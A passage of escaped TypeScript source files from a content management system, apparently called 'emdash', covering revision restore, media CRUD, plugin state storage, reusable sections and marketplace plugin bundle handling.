{\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Revision not found: ${revisionId}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\t// Extract _slug from revision data (stored as metadata, not a real column)\n\t\tconst { _slug, ...fieldData } = revision.data;\n\n\t\t// Atomically update content and create a new revision to record the restore.\n\t\t// If either operation fails, neither is committed (on engines that support\n\t\t// transactions; on D1, withTransaction falls back to sequential execution).\n\t\tconst item = await withTransaction(db, async (trx) => {\n\t\t\tconst trxContentRepo = new ContentRepository(trx);\n\t\t\tconst trxRevisionRepo = new RevisionRepository(trx);\n\n\t\t\tconst updated = await trxContentRepo.update(revision.collection, revision.entryId, {\n\t\t\t\tdata: fieldData,\n\t\t\t\tslug: typeof _slug === \"string\" ? _slug : undefined,\n\t\t\t});\n\n\t\t\tawait trxRevisionRepo.create({\n\t\t\t\tcollection: revision.collection,\n\t\t\t\tentryId: revision.entryId,\n\t\t\t\tdata: revision.data,\n\t\t\t\tauthorId: callerUserId,\n\t\t\t});\n\n\t\t\treturn updated;\n\t\t});\n\n\t\t// Fire-and-forget: prune old revisions to prevent unbounded growth\n\t\tconst pruneRepo = new RevisionRepository(db);\n\t\tvoid pruneRepo.pruneOldRevisions(revision.collection, revision.entryId, 50).catch(() => {});\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"REVISION_RESTORE_ERROR\",\n\t\t\t\tmessage: \"Failed to restore revision\",\n\t\t\t},\n\t\t};\n\t}\n}\n","/**\n * Media CRUD handlers\n */\n\nimport type { Kysely } from \"kysely\";\n\nimport { MediaRepository, type MediaItem } from \"../../database/repositories/media.js\";\nimport { InvalidCursorError } from \"../../database/repositories/types.js\";\nimport type { Database } from \"../../database/types.js\";\nimport type { ApiResult } from \"../types.js\";\n\nexport interface MediaListResponse {\n\titems: MediaItem[];\n\tnextCursor?: string;\n}\n\nexport interface MediaResponse {\n\titem: MediaItem;\n}\n\n/**\n * List media items\n */\nexport async function handleMediaList(\n\tdb: Kysely<Database>,\n\tparams: {\n\t\tcursor?: string;\n\t\tlimit?: number;\n\t\tmimeType?: string | readonly string[];\n\t},\n): Promise<ApiResult<MediaListResponse>> {\n\ttry {\n\t\tconst repo = new MediaRepository(db);\n\t\tconst result = await repo.findMany({\n\t\t\tcursor: params.cursor,\n\t\t\tlimit: Math.min(params.limit || 50, 100),\n\t\t\tmimeType: params.mimeType,\n\t\t});\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: {\n\t\t\t\titems: result.items,\n\t\t\t\tnextCursor: result.nextCursor,\n\t\t\t},\n\t\t};\n\t} catch (error) {\n\t\tif (error instanceof InvalidCursorError) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: { code: \"INVALID_CURSOR\", message: error.message },\n\t\t\t};\n\t\t}\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"MEDIA_LIST_ERROR\",\n\t\t\t\tmessage: \"Failed to list media\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Get single media item\n */\nexport async function handleMediaGet(\n\tdb: Kysely<Database>,\n\tid: string,\n): Promise<ApiResult<MediaResponse>> {\n\ttry {\n\t\tconst repo = new MediaRepository(db);\n\t\tconst item = await repo.findById(id);\n\n\t\tif (!item) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Media item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"MEDIA_GET_ERROR\",\n\t\t\t\tmessage: \"Failed to get media\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Create media item (after file upload)\n */\nexport async function handleMediaCreate(\n\tdb: Kysely<Database>,\n\tinput: {\n\t\tfilename: string;\n\t\tmimeType: string;\n\t\tsize?: number;\n\t\twidth?: number;\n\t\theight?: number;\n\t\talt?: string;\n\t\tstorageKey: string;\n\t\tcontentHash?: string;\n\t\tblurhash?: string;\n\t\tdominantColor?: string;\n\t\tauthorId?: string;\n\t},\n): Promise<ApiResult<MediaResponse>> {\n\ttry {\n\t\tconst repo = new MediaRepository(db);\n\t\tconst item = await repo.create(input);\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"MEDIA_CREATE_ERROR\",\n\t\t\t\tmessage: \"Failed to create media\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Update media metadata\n */\nexport async function handleMediaUpdate(\n\tdb: Kysely<Database>,\n\tid: string,\n\tinput: {\n\t\talt?: string;\n\t\tcaption?: string;\n\t\twidth?: number;\n\t\theight?: number;\n\t},\n): Promise<ApiResult<MediaResponse>> {\n\ttry {\n\t\tconst repo = new MediaRepository(db);\n\t\tconst item = await repo.update(id, input);\n\n\t\tif (!item) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Media item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { item },\n\t\t};\n\t} catch {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"MEDIA_UPDATE_ERROR\",\n\t\t\t\tmessage: \"Failed to update media\",\n\t\t\t},\n\t\t};\n\t}\n}\n\n/**\n * Delete media item\n */\nexport async function handleMediaDelete(\n\tdb: Kysely<Database>,\n\tid: string,\n): Promise<ApiResult<{ deleted: true }>> {\n\ttry {\n\t\tconst repo = new MediaRepository(db);\n\t\tconst deleted = await repo.delete(id);\n\n\t\tif (!deleted) {\n\t\t\treturn {\n\t\t\t\tsuccess: false,\n\t\t\t\terror: {\n\t\t\t\t\tcode: \"NOT_FOUND\",\n\t\t\t\t\tmessage: `Media item not found: ${id}`,\n\t\t\t\t},\n\t\t\t};\n\t\t}\n\n\t\treturn {\n\t\t\tsuccess: true,\n\t\t\tdata: { deleted: true },\n\t\t};\n\t} catch {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"MEDIA_DELETE_ERROR\",\n\t\t\t\tmessage: \"Failed to delete media\",\n\t\t\t},\n\t\t};\n\t}\n}\n","/**\n * Collection info query for Astro templates.\n *\n * Same pattern as getMenu() / getComments() — uses getDb() for ambient DB access.\n */\n\nimport type { Kysely } from \"kysely\";\n\nimport type { Database } from \"../database/types.js\";\nimport { getDb } from \"../loader.js\";\nimport { requestCached } from \"../request-cache.js\";\nimport { SchemaRegistry } from \"./registry.js\";\nimport type { Collection } from \"./types.js\";\n\n/**\n * Get collection metadata by slug.\n *\n * @example\n * ```ts\n * import { getCollectionInfo } from \"emdash\";\n *\n * const info = await getCollectionInfo(\"posts\");\n * if (info?.commentsEnabled) {\n * // render comment UI\n * }\n * ```\n */\nexport async function getCollectionInfo(slug: string): Promise<Collection | null> {\n\treturn requestCached(`collection-info:${slug}`, async () => {\n\t\tconst db = await getDb();\n\t\treturn getCollectionInfoWithDb(db, slug);\n\t});\n}\n\n/**\n * Get collection metadata with an explicit db handle.\n *\n * @internal Use `getCollectionInfo()` in templates. This variant is for\n * routes that already have a database handle.\n */\nexport async function getCollectionInfoWithDb(\n\tdb: Kysely<Database>,\n\tslug: string,\n): Promise<Collection | null> {\n\tconst registry = new SchemaRegistry(db);\n\treturn registry.getCollection(slug);\n}\n","/**\n * Plugin State Repository\n *\n * Database-backed storage for plugin activation state.\n * Used by the admin API to persist plugin enable/disable across restarts.\n */\n\nimport type { Kysely } from \"kysely\";\n\nimport type { Database } from \"../database/types.js\";\n\nexport type PluginStatus = \"active\" | \"inactive\";\nexport type PluginSource = \"config\" | \"marketplace\";\n\nfunction toPluginStatus(value: string): PluginStatus {\n\tif (value === \"active\") return \"active\";\n\treturn \"inactive\";\n}\n\nfunction toPluginSource(value: string | undefined | null): PluginSource {\n\tif (value === \"marketplace\") return \"marketplace\";\n\treturn \"config\";\n}\n\nexport interface PluginState {\n\tpluginId: string;\n\tstatus: PluginStatus;\n\tversion: string;\n\tinstalledAt: Date;\n\tactivatedAt: Date | null;\n\tdeactivatedAt: Date | null;\n\tsource: PluginSource;\n\tmarketplaceVersion: string | null;\n\tdisplayName: string | null;\n\tdescription: string | null;\n}\n\n/**\n * Repository for plugin state in the database\n */\nexport class PluginStateRepository {\n\tconstructor(private db: Kysely<Database>) {}\n\n\t/**\n\t * Get state for a specific plugin\n\t */\n\tasync get(pluginId: string): Promise<PluginState | null> {\n\t\tconst row = await this.db\n\t\t\t.selectFrom(\"_plugin_state\")\n\t\t\t.selectAll()\n\t\t\t.where(\"plugin_id\", \"=\", pluginId)\n\t\t\t.executeTakeFirst();\n\n\t\tif (!row) return null;\n\n\t\treturn {\n\t\t\tpluginId: row.plugin_id,\n\t\t\tstatus: toPluginStatus(row.status),\n\t\t\tversion: row.version,\n\t\t\tinstalledAt: new Date(row.installed_at),\n\t\t\tactivatedAt: row.activated_at ? new Date(row.activated_at) : null,\n\t\t\tdeactivatedAt: row.deactivated_at ? new Date(row.deactivated_at) : null,\n\t\t\tsource: toPluginSource(row.source),\n\t\t\tmarketplaceVersion: row.marketplace_version ?? null,\n\t\t\tdisplayName: row.display_name ?? null,\n\t\t\tdescription: row.description ?? null,\n\t\t};\n\t}\n\n\t/**\n\t * Get all plugin states\n\t */\n\tasync getAll(): Promise<PluginState[]> {\n\t\tconst rows = await this.db.selectFrom(\"_plugin_state\").selectAll().execute();\n\n\t\treturn rows.map((row) => ({\n\t\t\tpluginId: row.plugin_id,\n\t\t\tstatus: toPluginStatus(row.status),\n\t\t\tversion: row.version,\n\t\t\tinstalledAt: new Date(row.installed_at),\n\t\t\tactivatedAt: row.activated_at ? new Date(row.activated_at) : null,\n\t\t\tdeactivatedAt: row.deactivated_at ? new Date(row.deactivated_at) : null,\n\t\t\tsource: toPluginSource(row.source),\n\t\t\tmarketplaceVersion: row.marketplace_version ?? null,\n\t\t\tdisplayName: row.display_name ?? null,\n\t\t\tdescription: row.description ?? null,\n\t\t}));\n\t}\n\n\t/**\n\t * Get all marketplace-installed plugin states\n\t */\n\tasync getMarketplacePlugins(): Promise<PluginState[]> {\n\t\tconst rows = await this.db\n\t\t\t.selectFrom(\"_plugin_state\")\n\t\t\t.selectAll()\n\t\t\t.where(\"source\", \"=\", \"marketplace\")\n\t\t\t.execute();\n\n\t\treturn rows.map((row) => ({\n\t\t\tpluginId: row.plugin_id,\n\t\t\tstatus: toPluginStatus(row.status),\n\t\t\tversion: row.version,\n\t\t\tinstalledAt: new Date(row.installed_at),\n\t\t\tactivatedAt: row.activated_at ? new Date(row.activated_at) : null,\n\t\t\tdeactivatedAt: row.deactivated_at ? new Date(row.deactivated_at) : null,\n\t\t\tsource: toPluginSource(row.source),\n\t\t\tmarketplaceVersion: row.marketplace_version ?? null,\n\t\t\tdisplayName: row.display_name ?? null,\n\t\t\tdescription: row.description ?? null,\n\t\t}));\n\t}\n\n\t/**\n\t * Create or update plugin state\n\t */\n\tasync upsert(\n\t\tpluginId: string,\n\t\tversion: string,\n\t\tstatus: PluginStatus,\n\t\topts?: {\n\t\t\tsource?: PluginSource;\n\t\t\tmarketplaceVersion?: string;\n\t\t\tdisplayName?: string;\n\t\t\tdescription?: string;\n\t\t},\n\t): Promise<PluginState> {\n\t\tconst now = new Date().toISOString();\n\t\tconst existing = await this.get(pluginId);\n\n\t\tif (existing) {\n\t\t\t// Update existing state\n\t\t\tconst updates: Record<string, string | null> = {\n\t\t\t\tstatus,\n\t\t\t\tversion,\n\t\t\t};\n\n\t\t\tif (status === \"active\" && existing.status !== \"active\") {\n\t\t\t\tupdates.activated_at = now;\n\t\t\t} else if (status === \"inactive\" && existing.status !== \"inactive\") {\n\t\t\t\tupdates.deactivated_at = now;\n\t\t\t}\n\n\t\t\tif (opts?.source) updates.source = opts.source;\n\t\t\tif (opts?.marketplaceVersion !== undefined) {\n\t\t\t\tupdates.marketplace_version = opts.marketplaceVersion;\n\t\t\t}\n\t\t\tif (opts?.displayName !== undefined) {\n\t\t\t\tupdates.display_name = opts.displayName;\n\t\t\t}\n\t\t\tif (opts?.description !== undefined) {\n\t\t\t\tupdates.description = opts.description;\n\t\t\t}\n\n\t\t\tawait this.db\n\t\t\t\t.updateTable(\"_plugin_state\")\n\t\t\t\t.set(updates)\n\t\t\t\t.where(\"plugin_id\", \"=\", pluginId)\n\t\t\t\t.execute();\n\t\t} else {\n\t\t\t// Create new state\n\t\t\tawait this.db\n\t\t\t\t.insertInto(\"_plugin_state\")\n\t\t\t\t.values({\n\t\t\t\t\tplugin_id: pluginId,\n\t\t\t\t\tstatus,\n\t\t\t\t\tversion,\n\t\t\t\t\tinstalled_at: now,\n\t\t\t\t\tactivated_at: status === \"active\" ? now : null,\n\t\t\t\t\tdeactivated_at: null,\n\t\t\t\t\tdata: null,\n\t\t\t\t\tsource: opts?.source ?? \"config\",\n\t\t\t\t\tmarketplace_version: opts?.marketplaceVersion ?? null,\n\t\t\t\t\tdisplay_name: opts?.displayName ?? null,\n\t\t\t\t\tdescription: opts?.description ?? null,\n\t\t\t\t})\n\t\t\t\t.execute();\n\t\t}\n\n\t\treturn (await this.get(pluginId))!;\n\t}\n\n\t/**\n\t * Enable a plugin\n\t */\n\tasync enable(pluginId: string, version: string): Promise<PluginState> {\n\t\treturn this.upsert(pluginId, version, \"active\");\n\t}\n\n\t/**\n\t * Disable a plugin\n\t */\n\tasync disable(pluginId: string, version: string): Promise<PluginState> {\n\t\treturn this.upsert(pluginId, version, \"inactive\");\n\t}\n\n\t/**\n\t * Delete plugin state\n\t */\n\tasync delete(pluginId: string): Promise<boolean> {\n\t\tconst result = await this.db\n\t\t\t.deleteFrom(\"_plugin_state\")\n\t\t\t.where(\"plugin_id\", \"=\", pluginId)\n\t\t\t.executeTakeFirst();\n\n\t\treturn (result.numDeletedRows ?? 0) > 0;\n\t}\n}\n","/**\n * Sections runtime functions\n *\n * Sections are reusable content blocks that can be inserted into any Portable Text field.\n */\n\nimport type { Kysely } from \"kysely\";\n\nimport { encodeCursor, decodeCursor, type FindManyResult } from \"../database/repositories/types.js\";\nimport type { Database } from \"../database/types.js\";\nimport { getDb } from \"../loader.js\";\nimport type { Section, SectionRow, GetSectionsOptions } from \"./types.js\";\n\nexport type {\n\tSection,\n\tSectionSource,\n\tSectionRow,\n\tCreateSectionInput,\n\tUpdateSectionInput,\n\tGetSectionsOptions,\n} from \"./types.js\";\n\n/**\n * Get a section by slug\n *\n * @example\n * ```ts\n * import { getSection } from \"emdash\";\n *\n * const section = await getSection(\"hero-centered\");\n * if (section) {\n * console.log(section.content); // Portable Text array\n * }\n * ```\n */\nexport async function getSection(slug: string): Promise<Section | null> {\n\tconst db = await getDb();\n\treturn getSectionWithDb(slug, db);\n}\n\n/**\n * Get a section by slug (with explicit db)\n *\n * @internal Use `getSection()` in templates. This variant is for admin routes\n * that already have a database handle.\n */\nexport async function getSectionWithDb(\n\tslug: string,\n\tdb: Kysely<Database>,\n): Promise<Section | null> {\n\tconst row = await db\n\t\t.selectFrom(\"_emdash_sections\")\n\t\t.selectAll()\n\t\t.$castTo<SectionRow>()\n\t\t.where(\"slug\", \"=\", slug)\n\t\t.executeTakeFirst();\n\n\tif (!row) {\n\t\treturn null;\n\t}\n\n\treturn rowToSection(row, db);\n}\n\n/**\n * Get a section by ID\n *\n * @internal Primarily for admin use\n */\nexport async function getSectionById(id: string, db: Kysely<Database>): Promise<Section | null> {\n\tconst row = await db\n\t\t.selectFrom(\"_emdash_sections\")\n\t\t.selectAll()\n\t\t.$castTo<SectionRow>()\n\t\t.where(\"id\", \"=\", id)\n\t\t.executeTakeFirst();\n\n\tif (!row) {\n\t\treturn null;\n\t}\n\n\treturn rowToSection(row, db);\n}\n\n/**\n * Get all sections with optional filtering\n *\n * @example\n * ```ts\n * import { getSections } from \"emdash\";\n *\n * // Get all theme-provided sections\n * const themeSections = await getSections({ source: \"theme\" });\n *\n * // Search sections\n * const results = await getSections({ search: \"pricing\" });\n * ```\n */\nexport async function getSections(\n\toptions: GetSectionsOptions = {},\n): Promise<FindManyResult<Section>> {\n\tconst db = await getDb();\n\treturn getSectionsWithDb(db, options);\n}\n\n/**\n * Get all sections with optional filtering (with explicit db)\n *\n * @internal Use `getSections()` in templates. This variant is for admin routes\n * that already have a database handle.\n */\nexport async function getSectionsWithDb(\n\tdb: Kysely<Database>,\n\toptions: GetSectionsOptions = {},\n): Promise<FindManyResult<Section>> {\n\tconst limit = Math.min(Math.max(1, options.limit || 50), 100);\n\n\tlet query = db.selectFrom(\"_emdash_sections\").selectAll();\n\n\t// Filter by source\n\tif (options.source) {\n\t\tquery = query.where(\"source\", \"=\", options.source);\n\t}\n\n\t// Search - search title, description, and keywords\n\tif (options.search) {\n\t\tconst searchTerm = `%${options.search.toLowerCase()}%`;\n\t\tquery = query.where((eb) =>\n\t\t\teb.or([\n\t\t\t\teb(\"title\", \"like\", searchTerm),\n\t\t\t\teb(\"description\", \"like\", searchTerm),\n\t\t\t\teb(\"keywords\", \"like\", searchTerm),\n\t\t\t]),\n\t\t);\n\t}\n\n\t// Order by title ASC, id ASC for stable cursor pagination\n\tquery = query.orderBy(\"title\", \"asc\").orderBy(\"id\", \"asc\");\n\n\t// Cursor-based pagination — throws on invalid cursor.\n\tif (options.cursor) {\n\t\tconst decoded = decodeCursor(options.cursor);\n\t\tquery = query.where((eb) =>\n\t\t\teb.or([\n\t\t\t\teb(\"title\", \">\", decoded.orderValue),\n\t\t\t\teb.and([eb(\"title\", \"=\", decoded.orderValue), eb(\"id\", \">\", decoded.id)]),\n\t\t\t]),\n\t\t);\n\t}\n\n\tquery = query.limit(limit + 1);\n\n\tconst rows = await query.$castTo<SectionRow>().execute();\n\tconst hasMore = rows.length > limit;\n\tconst sliced = rows.slice(0, limit);\n\n\t// Convert rows to sections\n\tconst items = await Promise.all(sliced.map((row) => rowToSection(row, db)));\n\tconst result: FindManyResult<Section> = { items };\n\n\tif (hasMore && items.length > 0) {\n\t\tconst last = items.at(-1)!;\n\t\tresult.nextCursor = encodeCursor(last.title, last.id);\n\t}\n\n\treturn result;\n}\n\n/**\n * Convert a section row to the API type\n */\nasync function rowToSection(row: SectionRow, db: Kysely<Database>): Promise<Section> {\n\t// Parse keywords\n\tlet keywords: string[] = [];\n\tif (row.keywords) {\n\t\ttry {\n\t\t\tkeywords = JSON.parse(row.keywords);\n\t\t} catch {\n\t\t\t// Invalid JSON, ignore\n\t\t}\n\t}\n\n\t// Parse content — stored as JSON array of Portable Text blocks\n\tlet content: Section[\"content\"] = [];\n\tif (row.content) {\n\t\ttry {\n\t\t\tconst parsed: unknown = JSON.parse(row.content);\n\t\t\tif (Array.isArray(parsed)) {\n\t\t\t\t// DB stores serialized PortableTextBlock[]; trust the schema\n\t\t\t\tcontent = parsed;\n\t\t\t}\n\t\t} catch {\n\t\t\t// Invalid JSON, ignore\n\t\t}\n\t}\n\n\t// Get preview URL from media (if present)\n\tlet previewUrl: string | undefined;\n\tif (row.preview_media_id) {\n\t\tconst media = await db\n\t\t\t.selectFrom(\"media\")\n\t\t\t.select(\"storage_key\")\n\t\t\t.where(\"id\", \"=\", row.preview_media_id)\n\t\t\t.executeTakeFirst();\n\n\t\tif (media) {\n\t\t\tpreviewUrl = `/_emdash/media/${media.storage_key}`;\n\t\t}\n\t}\n\n\treturn {\n\t\tid: row.id,\n\t\tslug: row.slug,\n\t\ttitle: row.title,\n\t\tdescription: row.description ?? undefined,\n\t\tkeywords,\n\t\tcontent,\n\t\tpreviewUrl,\n\t\tsource: row.source,\n\t\tthemeId: row.theme_id ?? undefined,\n\t\tcreatedAt: row.created_at,\n\t\tupdatedAt: row.updated_at,\n\t};\n}\n","/**\n * Marketplace plugin handlers\n *\n * Business logic for installing, updating, uninstalling, and checking\n * updates for marketplace plugins. Routes are thin wrappers around these.\n */\n\nimport type { Kysely } from \"kysely\";\n\nimport type { Database } from \"../../database/types.js\";\nimport { validatePluginIdentifier } from \"../../database/validate.js\";\nimport { pluginManifestSchema } from \"../../plugins/manifest-schema.js\";\nimport { normalizeManifestRoute } from \"../../plugins/manifest-schema.js\";\nimport {\n\tcreateMarketplaceClient,\n\tMarketplaceError,\n\tMarketplaceUnavailableError,\n\ttype MarketplaceClient,\n\ttype MarketplacePluginDetail,\n\ttype MarketplaceSearchOpts,\n\ttype MarketplaceThemeSearchOpts,\n\ttype MarketplaceVersionSummary,\n\ttype PluginBundle,\n} from \"../../plugins/marketplace.js\";\nimport type { SandboxRunner } from \"../../plugins/sandbox/types.js\";\nimport { PluginStateRepository } from \"../../plugins/state.js\";\nimport { normalizeCapabilities } from \"../../plugins/types.js\";\nimport type { PluginManifest } from \"../../plugins/types.js\";\nimport { EmDashStorageError } from \"../../storage/types.js\";\nimport type { Storage } from \"../../storage/types.js\";\nimport type { ApiResult } from \"../types.js\";\n\n// ── Types ──────────────────────────────────────────────────────────\n\nexport interface MarketplaceInstallResult {\n\tpluginId: string;\n\tversion: string;\n\tcapabilities: string[];\n}\n\nexport interface MarketplaceUpdateResult {\n\tpluginId: string;\n\toldVersion: string;\n\tnewVersion: string;\n\tcapabilityChanges: {\n\t\tadded: string[];\n\t\tremoved: string[];\n\t};\n\trouteVisibilityChanges?: {\n\t\tnewlyPublic: string[];\n\t};\n}\n\nexport interface MarketplaceUpdateCheck {\n\tpluginId: string;\n\tinstalled: string;\n\tlatest: string;\n\thasUpdate: boolean;\n\thasCapabilityChanges: boolean;\n\tcapabilityChanges?: {\n\t\tadded: string[];\n\t\tremoved: string[];\n\t};\n\thasRouteVisibilityChanges: boolean;\n\trouteVisibilityChanges?: {\n\t\tnewlyPublic: string[];\n\t};\n}\n\nexport interface MarketplaceUninstallResult {\n\tpluginId: string;\n\tdataDeleted: boolean;\n}\n\n// ── Helpers ────────────────────────────────────────────────────────\n\n/** Semver-like pattern: digits, dots, hyphens, plus signs (e.g. 1.0.0, 1.0.0-beta.1) */\nconst VERSION_PATTERN = /^[a-z0-9][a-z0-9._+-]*$/i;\n\nfunction validateVersion(version: string): void {\n\tif (version.includes(\"..\")) throw new Error(\"Invalid version format\");\n\tif (!VERSION_PATTERN.test(version)) {\n\t\tthrow new Error(\"Invalid version format\");\n\t}\n}\n\nfunction getClient(\n\tmarketplaceUrl: string | undefined,\n\tsiteOrigin?: string,\n): MarketplaceClient | null {\n\tif (!marketplaceUrl) return null;\n\treturn createMarketplaceClient(marketplaceUrl, siteOrigin);\n}\n\nfunction diffCapabilities(\n\toldCaps: string[],\n\tnewCaps: string[],\n): { added: string[]; removed: string[] } {\n\t// Normalize both sides before diffing so that an installed v1 manifest\n\t// declaring `read:content` and an upgrade v2 manifest declaring\n\t// `content:read` produces an empty diff — users should not see a\n\t// spurious \"capability changed\" prompt for a pure rename.\n\tconst oldNorm = normalizeCapabilities(oldCaps);\n\tconst newNorm = normalizeCapabilities(newCaps);\n\tconst oldSet = new Set(oldNorm);\n\tconst newSet = new Set(newNorm);\n\treturn {\n\t\tadded: newNorm.filter((c) => !oldSet.has(c)),\n\t\tremoved: oldNorm.filter((c) => !newSet.has(c)),\n\t};\n}\n\n/**\n * Diff route visibility between two manifests.\n * Returns routes that changed from private to public (newly exposed).\n */\nfunction diffRouteVisibility(\n\toldManifest: PluginManifest | undefined,\n\tnewManifest: PluginManifest,\n): { newlyPublic: string[] } {\n\tconst oldPublicRoutes = new Set<string>();\n\tif (oldManifest) {\n\t\tfor (const entry of oldManifest.routes) {\n\t\t\tconst normalized = normalizeManifestRoute(entry);\n\t\t\tif (normalized.public === true) {\n\t\t\t\toldPublicRoutes.add(normalized.name);\n\t\t\t}\n\t\t}\n\t}\n\n\tconst newlyPublic: string[] = [];\n\tfor (const entry of newManifest.routes) {\n\t\tconst normalized = normalizeManifestRoute(entry);\n\t\tif (normalized.public === true && !oldPublicRoutes.has(normalized.name)) {\n\t\t\tnewlyPublic.push(normalized.name);\n\t\t}\n\t}\n\n\treturn { newlyPublic };\n}\n\nasync function resolveVersionMetadata(\n\tclient: MarketplaceClient,\n\tpluginId: string,\n\tpluginDetail: MarketplacePluginDetail,\n\tversion: string,\n): Promise<MarketplaceVersionSummary | null> {\n\tif (pluginDetail.latestVersion?.version === version) {\n\t\treturn {\n\t\t\tversion: pluginDetail.latestVersion.version,\n\t\t\tminEmDashVersion: pluginDetail.latestVersion.minEmDashVersion,\n\t\t\tbundleSize: pluginDetail.latestVersion.bundleSize,\n\t\t\tchecksum: pluginDetail.latestVersion.checksum,\n\t\t\tchangelog: pluginDetail.latestVersion.changelog,\n\t\t\tcapabilities: pluginDetail.latestVersion.capabilities,\n\t\t\tstatus: pluginDetail.latestVersion.status,\n\t\t\tauditVerdict: pluginDetail.latestVersion.audit?.verdict ?? null,\n\t\t\timageAuditVerdict: pluginDetail.latestVersion.imageAudit?.verdict ?? null,\n\t\t\tpublishedAt: pluginDetail.latestVersion.publishedAt,\n\t\t};\n\t}\n\n\tconst versions = await client.getVersions(pluginId);\n\treturn versions.find((v) => v.version === version) ?? null;\n}\n\nfunction validateBundleIdentity(\n\tbundle: PluginBundle,\n\tpluginId: string,\n\tversion: string,\n): ApiResult<never> | null {\n\tif (bundle.manifest.id !== pluginId) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"MANIFEST_MISMATCH\",\n\t\t\t\tmessage: `Bundle manifest ID (${bundle.manifest.id}) does not match requested plugin (${pluginId})`,\n\t\t\t},\n\t\t};\n\t}\n\n\tif (bundle.manifest.version !== version) {\n\t\treturn {\n\t\t\tsuccess: false,\n\t\t\terror: {\n\t\t\t\tcode: \"MANIFEST_VERSION_MISMATCH\",\n\t\t\t\tmessage: `Bundle manifest version (${bundle.manifest.version}) does not match requested version (${version})`,\n\t\t\t},\n\t\t};\n\t}\n\n\treturn null;\n}\n\n/** Store a plugin bundle's files in site-local R2 storage */\nasync function storeBundleInR2(\n\tstorage: Storage,\n\tpluginId: string,\n\tversion: string,\n\tbundle: PluginBundle,\n): Promise<void> {\n\tvalidatePluginIdentifier(pluginId, \"plugin ID\");\n\tvalidateVersion(version);\n\tconst prefix = `marketplace/${pluginId}/${version}`;\n\n\t// Store manifest\n\tawait storage.upload({\n\t\tkey: `${prefix}/manifest.json`,\n\t\tbody: new TextEncoder().encode(JSON.stringify(bundle.manifest)),\n\t\tcontentType: \"application/json\",\n\t});\n\n\t// Store backend code\n\tawait storage.upload({\n\t\tkey: `${prefix}/backend.js`,\n\t\tbody: new TextEncoder().encode(bundle.backendCode),\n\t\tcontentType: \"application/javascript\",\n\t});\n\n\t// Store admin code if present\n\tif (bundle.adminCode) {\n\t\tawait storage.upload({\n\t\t\tkey: `${prefix}/admin.js`,\n\t\t\tbody: new TextEncoder().encode(bundle.adminCode),\n\t\t\tcontentType: \"application/javascript\",\n\t\t});\n\t}\n}\n\n/** Read a ReadableStream to string */\nasync function streamToText(stream: ReadableStream<Uint8Array>): Promise<string> {\n\treturn new Response(stream).text();\n}\n\n/** Load a plugin bundle from site-local R2 storage */\nexport async function loadBundleFromR2(\n\tstorage: Storage,\n\tpluginId: string,\n\tversion: string,\n): Promise<{ manifest: PluginManifest; backendCode: string; adminCode?: string } | null> {\n\tvalidatePluginIdentifier(pluginId, \"plugin ID\");\n\tvalidateVersion(version);\n\tconst prefix = `marketplace/${pluginId}/${version}`;\n\n\ttry {\n\t\tconst manifestResult = await storage.download(`${prefix}/manifest.json`);\n\t\tconst backendResult = await storage.download(`${prefix}/backend.js`);\n\n\t\tconst manifestText = await streamToText(manifestResult.body);\n\t\tconst backendCode = await streamToText(backendResult.body);\n\t\tconst parsed: unknown = JSON.parse(manifestText);\n\t\tconst result = pluginManifestSchema.safeParse(parsed);\n\t\tif (!result.success) return null;\n\t\t// Elements are validated as unknown[] by Zod; cast to PluginManifest\n\t\t// for the Element[] type (Block Kit validation happens at render time).\n\t\t// eslint-disable-next-line @typescript-eslint/no-unsafe-type-assertion -- Zod types elements as unknown[]; Element type validated at render time\n\t\tconst manifest = result.data as unknown as PluginManifest;\n\n\t\t// Try to load admin code (optional)\n\t\tlet adminCode: string | undefined;\n\t\ttry {\n\t\t\tconst adminResult = await storage.download(`${prefix}/admin.js`);\n\t\t\tadminCode = await streamToText(adminResult.body);\n\t\t} catch {\n\t\t\t// admin.js is optional\n\t\t}\n\n\t\treturn { manifest, backendCode, adminCode };\n\t} catch {\n\t\treturn null;\n\t}\n}\n\n/** Delete a plugin bundle from site-local R2 storage */\nasync function deleteBundleFromR2(\n\tstorage: Storage,\n\tpluginId: string,\n\tversion: string,\n): Promise<void> {\n\tvalidatePluginIdentifier(pluginId, \"plugin ID\");\n\tvalidateVersion(version);\n\tconst prefix = `marketplace/${pluginId}/${version}`;\n\tconst files = [\"manifest.json\", \"backend.js\", \"admin.js\"];\n\n\tfor (const file of files) {\n\t\ttry {\n\t\t\tawait storage.delete(`${prefix}/${file}`);\n\t\t} catch {\n\t\t\t// Ignore missing files\n\t\t}\n\t}\n}\n\n// ── 